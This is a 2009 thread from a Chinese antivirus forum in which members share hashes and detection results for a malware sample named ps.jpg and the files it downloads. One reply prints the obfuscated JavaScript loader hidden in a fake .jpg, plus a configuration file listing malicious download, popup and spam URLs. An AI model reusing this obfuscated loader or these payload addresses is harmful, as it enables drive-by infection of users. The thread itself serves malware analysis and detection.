12
返回列表 发新帖
楼主: sam.to
收起左侧

[病毒样本] ps.jpg和它的下载物(18楼新)

[复制链接]
bjkk988
发表于 2009-6-12 18:40:32 | 显示全部楼层
没有过小红伞。
BING126
头像被屏蔽
发表于 2009-6-12 20:11:28 | 显示全部楼层
to McAfee
sam.to
 楼主| 发表于 2009-6-13 14:45:55 | 显示全部楼层
E1D797A4CB08BF0C4B29F6BCA8A7B456
to kl
vc.css - Worm.Win32.AutoRun.gba

[ 本帖最后由 sam.to 于 2009-6-13 15:30 编辑 ]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
sam.to
 楼主| 发表于 2009-6-13 14:48:13 | 显示全部楼层
B01AE06E8F77AB328F3083C5AA8E2738
to kl

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
dreams521
发表于 2009-6-13 14:56:09 | 显示全部楼层
原帖由 sam.to 于 2009-6-13 14:45 发表
E1D797A4CB08BF0C4B29F6BCA8A7B456
to kl

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
dreams521
发表于 2009-6-13 14:56:59 | 显示全部楼层
原帖由 sam.to 于 2009-6-13 14:48 发表
B01AE06E8F77AB328F3083C5AA8E2738
to kl

mpav miss,to
网页马?
sam.to
 楼主| 发表于 2009-6-14 14:46:45 | 显示全部楼层
9AC41D1BFE13EDDDBD844A2A653070F6
to kl

Hello,

New malicious software was found in the attached file. Its detection will be included in the next update.
Thank you for your help.
Worm.Win32.AutoRun.gbi

[ 本帖最后由 sam.to 于 2009-6-14 14:54 编辑 ]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
烟雨逍遥
发表于 2009-6-14 15:50:40 | 显示全部楼层
200961018618.jpg2内代码:<html><head><Meta Name=Encoder Content=sex><noscript><iframe></iframe></noscript><script language="javascript"><!--
bQ69="Oxb6\,Qu\,",dN97="O\;uuQ\;\,u";.4143574,vT99=".6707272",bQ69='hmi\}0lC\^\#nG\=qb\&\@v1E\_g\(H\'z8jTu\<sx3\*Yapk\!\r\$tF\%\\\)ewr\-J\[Z\ UPfN2d\`oA\~VSDyR69\/\"\n\,\{XM5\:\>B\]\+\?74\.\;\|LOQKWcI',dN97='C\-F605n\r\$8\|\_\{I9Rx\:\`ewzU\^\,EJ\>HqodL\?st\~lW\@\[c\%\"PBv\.mN\]p\#X3SDb\=k\'2\<Gia\!M\;K\/Z\\\*j\&1Q\ 7A\}\)Tu\(OVf4yr\nh\+gY';function qC62(dI90){"Ob\,K6u\,Q",l=dI90.length;'PrLPC\>lMjilA',w='';while(l--)"O\,\,\(\;\(b",o=bQ69.indexOf(dI90.charAt(l)),'rA0A\@ACA',w=(o==-1?dI90.charAt(l):dN97.charAt(o))+w;"Ouu\,x\;x",bQ69=bQ69.substring(1)+bQ69.charAt(0),document.write(w);'r\@0\@0\@\>A'};qC62("AYtOV\[a5kSCc\?Sc\_2\,SeSYtOV\[aTNu\}l2\&Ul\&RYP\:02ooX\:RR\=kVt\_CY\_x\=as\=2\%K\?L\?\;\_Cc\%RA9YtOV\[aT")//--></script><scRIpt lAngUAge=jAvAScrIPT>qC62("\~fmv\&\)\?\:\*BJV\'BVjd\\\{DwDaFQSZp\\u\#KS\|4\^DwSIDpxQr7agQBIg\^prpx\*x\(gQmDag4\+rS\^3g1\.\|4\\\-aSg\\\+ul\+\#Kb\#K3xF7\-g\^pr\(QSpg4\\\~S\-I\:aQFdWppZE\n\/\n\/S\-IPrFDFWgr\^gpgDagrFx\-\n\/\!D3O\n\/All\@\n\/C\n\/G\n\/All\@lClGM\>LMlMll\|3Ar\{ZIu\~\n\/S\-Iu\\\+6\#K3xF7\-g\^pr\(QSpg4\\\~S\|QD\-g\:aQFdWppZE\n\/\n\/1\(2rFHpwrpw\/P0l\n\/P0lrWp\-\:\(S3pWdMll\:WgSIWpdlu\~\n\/S\|QD\-gu\\\+6\#K\]\#K\~\/fmv\&\)\?u")</script></head><body></body></html>

ps.jpg2内代码:
[index]
homepage=http://moneymoney888.com/
[pop]
1=http://msm.moneyinfom.com
count=1
time=50
[msg]
talk=美女qq935623508的照片hxxp://www.qingdaosenhui.com/manage/uploadimg/200961018618.jpg
[file]
send=http://cnnic.ch.ma/dd/b.gif
[buffer]
addr=http://cnnic.ch.ma/vc.css

vc.c2ss代码是二进制编码,是个应用程序。。应该是exe文件

[ 本帖最后由 烟雨逍遥 于 2009-6-14 15:53 编辑 ]
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-11-17 09:24 , Processed in 0.828314 second(s), 14 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表